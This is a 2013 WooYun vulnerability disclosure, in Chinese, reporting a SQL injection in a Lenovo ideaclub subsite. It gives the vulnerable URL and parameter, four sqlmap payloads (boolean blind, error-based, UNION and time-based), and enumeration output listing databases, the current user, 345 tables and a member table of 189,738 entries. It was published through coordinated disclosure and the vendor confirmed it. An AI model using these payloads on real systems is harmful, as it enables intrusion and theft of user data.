当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-036396

漏洞标题:联想安全问题十三某分站SQL注射漏洞(189738用户数据)

相关厂商:联想

漏洞作者: VIP

提交时间:2013-09-08 11:50

修复时间:2013-10-23 11:51

公开时间:2013-10-23 11:51

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-09-08: 细节已通知厂商并且等待厂商处理中
2013-09-09: 厂商已经确认,细节仅向厂商公开
2013-09-19: 细节向核心白帽子及相关领域专家公开
2013-09-29: 细节向普通白帽子公开
2013-10-09: 细节向实习白帽子公开
2013-10-23: 细节向公众公开

简要描述:

联想的礼物到了,比别的大多数厂商都要丰厚的多的多的多(包含一块三星120G SSD固态)

详细说明:

注射点:
http://ideaclub.lenovo.com.cn/club/index.php?m=store&c=index&f=getPlace&item_id=ad2dc941e1fb11e29c5fc89cdcd8545b

漏洞证明:

---
Place: GET
Parameter: item_id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: m=store&c=index&f=getPlace&item_id=ad2dc941e1fb11e29c5fc89cdcd8545b
' AND 3075=3075 AND 'HSHZ'='HSHZ
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: m=store&c=index&f=getPlace&item_id=ad2dc941e1fb11e29c5fc89cdcd8545b
' AND (SELECT 1518 FROM(SELECT COUNT(*),CONCAT(0x7176717471,(SELECT (CASE WHEN (
1518=1518) THEN 1 ELSE 0 END)),0x7164647071,FLOOR(RAND(0)*2))x FROM INFORMATION_
SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'WOvh'='WOvh
Type: UNION query
Title: MySQL UNION query (NULL) - 10 columns
Payload: m=store&c=index&f=getPlace&item_id=ad2dc941e1fb11e29c5fc89cdcd8545b
' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7176717471,0x615568567
4576d7a6b6a,0x7164647071),NULL,NULL,NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: m=store&c=index&f=getPlace&item_id=ad2dc941e1fb11e29c5fc89cdcd8545b
' AND SLEEP(5) AND 'REay'='REay
---


web application technology: Nginx
back-end DBMS: MySQL 5.0


available databases [4]:
[*] erazer
[*] ideaclub
[*] ideaclub2
[*] information_schema


current user:    'ideaclub@localhost'


current database:    'ideaclub2'


Database: ideaclub2
[345 tables]
+------------------------------------+
| c_activity_member |
| c_asset_tbl |
| c_asset_tbl_content_tbl |
| c_comment |
| c_config |
| c_content_tbl |
| c_content_tbl_download_tbl |
| c_content_tbl_system_menu |
| c_content_tbl_template_tbl |
| c_dictionary_map |
| c_dictionary_sort |
| c_download_tbl |
| c_evil_ip |
| c_experience_store |
| c_expstore |
| c_goods |
| c_goods_convert |
| c_goods_img |
| c_item_tbl |
| c_item_tbl_download_tbl |
| c_keywords |
| c_m_ad |
| c_m_campaisn |
| c_m_media |
| c_m_tracker |
| c_member |
| c_member_action |
| c_member_action_score |
| c_member_attention |
| c_member_bind |
| c_member_bind_douban |
| c_member_bind_qq |
| c_member_bind_renren |
| c_member_bind_sina |
| c_member_login_count |
| c_member_profile |
| c_member_score |
| c_member_verifycode |
| c_member_visit |
| c_reg_user |
| c_store_activity_comment |
| c_store_products |
| c_system_function |
| c_system_menu |
| c_system_menu_function |
| c_system_menu_template_tbl |
| c_system_role |
| c_system_role_function |
| c_system_user |
| c_system_user_role |
| c_template_tbl |
| f_common_admincp_cmenu |
| f_common_admincp_group |
| f_common_admincp_member |
| f_common_admincp_perm |
| f_common_admincp_session |
| f_common_admingroup |
| f_common_adminnote |
| f_common_advertisement |
| f_common_advertisement_custom |
| f_common_banned |
| f_common_block |
| f_common_block_favorite |
| f_common_block_item |
| f_common_block_item_data |
| f_common_block_permission |
| f_common_block_pic |
| f_common_block_style |
| f_common_block_xml |
| f_common_cache |
| f_common_card |
| f_common_card_log |
| f_common_card_type |
| f_common_connect_guest |
| f_common_credit_log |
| f_common_credit_rule |
| f_common_credit_rule_log |
| f_common_credit_rule_log_field |
| f_common_cron |
| f_common_devicetoken |
| f_common_district |
| f_common_diy_data |
| f_common_domain |
| f_common_failedlogin |
| f_common_friendlink |
| f_common_grouppm |
| f_common_invite |
| f_common_magic |
| f_common_magiclog |
| f_common_mailcron |
| f_common_mailqueue |
| f_common_member |
| f_common_member_action_log |
| f_common_member_connect |
| f_common_member_count |
| f_common_member_crime |
| f_common_member_field_forum |
| f_common_member_field_home |
| f_common_member_fivecube |
| f_common_member_grouppm |
| f_common_member_log |
| f_common_member_lottery |
| f_common_member_magic |
| f_common_member_medal |
| f_common_member_profile |
| f_common_member_profile_setting |
| f_common_member_profile_update_log |
| f_common_member_security |
| f_common_member_stat_field |
| f_common_member_status |
| f_common_member_validate |
| f_common_member_verify |
| f_common_member_verify_info |
| f_common_myapp |
| f_common_myinvite |
| f_common_mytask |
| f_common_nav |
| f_common_onlinetime |
| f_common_patch |
| f_common_plugin |
| f_common_plugin_reminder |
| f_common_pluginvar |
| f_common_process |
| f_common_regip |
| f_common_relatedlink |
| f_common_report |
| f_common_searchindex |
| f_common_secquestion |
| f_common_session |
| f_common_setting |
| f_common_smiley |
| f_common_sphinxcounter |
| f_common_stat |
| f_common_statuser |
| f_common_style |
| f_common_stylevar |
| f_common_syscache |
| f_common_tag |
| f_common_tagitem |
| f_common_task |
| f_common_taskvar |
| f_common_template |
| f_common_template_block |
| f_common_template_permission |
| f_common_uin_black |
| f_common_usergroup |
| f_common_usergroup_field |
| f_common_word |
| f_common_word_type |
| f_connect_disktask |
| f_connect_feedlog |
| f_connect_memberbindlog |
| f_connect_postfeedlog |
| f_connect_tthreadlog |
| f_forum_access |
| f_forum_activity |
| f_forum_activityapply |
| f_forum_announcement |
| f_forum_attachment |
| f_forum_attachment_0 |
| f_forum_attachment_1 |
| f_forum_attachment_2 |
| f_forum_attachment_3 |
| f_forum_attachment_4 |
| f_forum_attachment_5 |
| f_forum_attachment_6 |
| f_forum_attachment_7 |
| f_forum_attachment_8 |
| f_forum_attachment_9 |
| f_forum_attachment_exif |
| f_forum_attachment_unused |
| f_forum_attachtype |
| f_forum_bbcode |
| f_forum_collection |
| f_forum_collectioncomment |
| f_forum_collectionfollow |
| f_forum_collectioninvite |
| f_forum_collectionrelated |
| f_forum_collectionteamworker |
| f_forum_collectionthread |
| f_forum_creditslog |
| f_forum_debate |
| f_forum_debatepost |
| f_forum_faq |
| f_forum_forum |
| f_forum_forum_threadtable |
| f_forum_forumfield |
| f_forum_forumrecommend |
| f_forum_groupcreditslog |
| f_forum_groupfield |
| f_forum_groupinvite |
| f_forum_grouplevel |
| f_forum_groupuser |
| f_forum_imagetype |
| f_forum_medal |
| f_forum_medallog |
| f_forum_memberrecommend |
| f_forum_moderator |
| f_forum_modwork |
| f_forum_onlinelist |
| f_forum_order |
| f_forum_poll |
| f_forum_polloption |
| f_forum_pollvoter |
| f_forum_post |
| f_forum_post_location |
| f_forum_post_moderate |
| f_forum_post_tableid |
| f_forum_postcache |
| f_forum_postcomment |
| f_forum_postlog |
| f_forum_poststick |
| f_forum_promotion |
| f_forum_ratelog |
| f_forum_relatedthread |
| f_forum_replycredit |
| f_forum_rsscache |
| f_forum_spacecache |
| f_forum_statlog |
| f_forum_thread |
| f_forum_thread_moderate |
| f_forum_threadaddviews |
| f_forum_threadclass |
| f_forum_threadclosed |
| f_forum_threaddisablepos |
| f_forum_threadimage |
| f_forum_threadlog |
| f_forum_threadmod |
| f_forum_threadpartake |
| f_forum_threadpreview |
| f_forum_threadrush |
| f_forum_threadtype |
| f_forum_trade |
| f_forum_tradecomment |
| f_forum_tradelog |
| f_forum_typeoption |
| f_forum_typeoptionvar |
| f_forum_typevar |
| f_forum_warning |
| f_home_album |
| f_home_album_category |
| f_home_appcreditlog |
| f_home_blacklist |
| f_home_blog |
| f_home_blog_category |
| f_home_blog_moderate |
| f_home_blogfield |
| f_home_class |
| f_home_click |
| f_home_clickuser |
| f_home_comment |
| f_home_comment_moderate |
| f_home_docomment |
| f_home_doing |
| f_home_doing_moderate |
| f_home_favorite |
| f_home_feed |
| f_home_feed_app |
| f_home_follow |
| f_home_follow_feed |
| f_home_follow_feed_archiver |
| f_home_friend |
| f_home_friend_request |
| f_home_friendlog |
| f_home_notification |
| f_home_pic |
| f_home_pic_moderate |
| f_home_picfield |
| f_home_poke |
| f_home_pokearchive |
| f_home_share |
| f_home_share_moderate |
| f_home_show |
| f_home_specialuser |
| f_home_userapp |
| f_home_userappfield |
| f_home_visitor |
| f_infbox |
| f_infbox_setting |
| f_mobile_setting |
| f_plugin_wodexunzhang |
| f_plugin_wodexunzhang_ershou |
| f_plugin_wodexunzhang_fenlei |
| f_plugin_wodexunzhang_kucun |
| f_plugin_wodexunzhang_log |
| f_plugin_wodexunzhang_user |
| f_portal_article_content |
| f_portal_article_count |
| f_portal_article_moderate |
| f_portal_article_related |
| f_portal_article_title |
| f_portal_article_trash |
| f_portal_attachment |
| f_portal_category |
| f_portal_category_permission |
| f_portal_comment |
| f_portal_comment_moderate |
| f_portal_rsscache |
| f_portal_topic |
| f_portal_topic_pic |
| f_security_evilpost |
| f_security_eviluser |
| f_security_failedlog |
| f_ucenter_admins |
| f_ucenter_applications |
| f_ucenter_badwords |
| f_ucenter_domains |
| f_ucenter_failedlogins |
| f_ucenter_feeds |
| f_ucenter_friends |
| f_ucenter_mailqueue |
| f_ucenter_memberfields |
| f_ucenter_members |
| f_ucenter_members_csv |
| f_ucenter_mergemembers |
| f_ucenter_newpm |
| f_ucenter_notelist |
| f_ucenter_pm_indexes |
| f_ucenter_pm_lists |
| f_ucenter_pm_members |
| f_ucenter_pm_messages_0 |
| f_ucenter_pm_messages_1 |
| f_ucenter_pm_messages_2 |
| f_ucenter_pm_messages_3 |
| f_ucenter_pm_messages_4 |
| f_ucenter_pm_messages_5 |
| f_ucenter_pm_messages_6 |
| f_ucenter_pm_messages_7 |
| f_ucenter_pm_messages_8 |
| f_ucenter_pm_messages_9 |
| f_ucenter_protectedmembers |
| f_ucenter_settings |
| f_ucenter_sqlcache |
| f_ucenter_tags |
| f_ucenter_vars |
| ld_member_prize |
| ld_prize_config |
| ld_prize_log |
| ld_prize_setting |
| ld_prize_test |
| ld_receive_address |
| temp_common_member |
| temp_member |
| temp_un |
| tmp_id |
+------------------------------------+


Database: ideaclub2
+-----------------+---------+
| Table | Entries |
+-----------------+---------+
| f_common_member | 189738 |
+-----------------+---------+

修复方案:

过滤哦

版权声明:转载请注明来源 VIP@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2013-09-09 17:17

厂商回复:

这个貌似跟 你之前提交的重复了 http://www.wooyun.org/bugs/wooyun-2013-035312.

最新状态:

暂无